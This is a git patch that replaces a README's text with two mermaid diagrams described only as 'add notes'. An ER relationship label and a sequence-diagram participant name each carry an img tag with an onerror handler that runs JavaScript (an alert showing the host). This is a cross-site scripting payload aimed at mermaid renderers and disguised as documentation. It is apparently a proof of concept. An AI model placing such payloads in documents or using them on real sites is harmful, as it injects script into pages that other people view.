From ce346db998c6874db92cfde38b91a1719cdd3760 Mon Sep 17 00:00:00 2001
From: secrlp7h0tc <secrlp7h0tc@example.com>
Date: Sun, 27 Sep 2026 11:55:27 +0000
Subject: [PATCH] add notes

---
 README.md | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 973f6c9..9faf4df 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,12 @@
-# docs-notes
+notes
 
-notes
\ No newline at end of file
+```mermaid
+erDiagram
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+```
+
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  A->>B: hi
+```